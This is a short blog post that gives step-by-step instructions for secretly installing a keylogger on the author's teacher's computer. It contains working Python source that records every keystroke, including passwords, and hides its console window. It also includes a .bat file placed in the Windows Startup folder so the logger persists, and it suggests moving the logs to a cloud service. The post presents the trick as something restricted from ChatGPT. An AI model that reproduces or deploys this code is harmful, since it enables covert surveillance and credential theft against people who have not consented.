Keylogger Trick (ChatGPT Restricted) — Hacking My Teacher’s PC.
This short vlog reveals a keylogger trick, often restricted from ChatGPT’s access. The goal is to capture all keystrokes, including passwords and usernames, across all browsers.
Image is subjected to copyright.
Step 1 : Inserting a python script on my teacher’s computer.
Well making this python script is easier, the script is easily understandable since it uses library for ease use.
Requirements : pynput,pythonw.
from pynput import keyboard
import os
LOG_FILE = "keylog.txt"
def on_press(key):
try:
with open(LOG_FILE, "a") as f:
if hasattr(key, 'char') and key.char is not None:
f.write(key.char)
else:
f.write(f"[{key}]")
except Exception as e:
print(f"Error: {e}")
if os.name == "nt":
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Step 2 : Launching this script using .bat file.
- Write Your Python Script Save your Python script (e.g., script.py) in a known location, such as C:\Users\YourName\Desktop.
- Create a .bat File Open Notepad and type the following command:
@echo off
start /B "" "C:\Users\sidhe\AppData\Local\Programs\Python\Python310\pythonw.exe" "C:\Users\sidhe\Desktop\keys.py"
Step 3: Run the .bat File Automatically at Startup
- Press Win + R , type shell:startup, and press Enter.
- This opens the Startup folder. Copy and paste your .bat file into this location.
- Now, every time your PC starts, the .bat file will run automatically, ensuring that keylogs are stored in keylogs.txt.
Troubleshooting:
- If the script doesn’t run properly at startup, check if Python is added to the system PATH.
- Try running the .bat file manually first to confirm it works.
- If you face any errors, feel free to share them, and I’ll help troubleshoot.
Instead of storing keylogs locally in keylogs.txt, consider saving them to a cloud service for easier access. Implementing this can enhance data availability and security.
Top comments (0)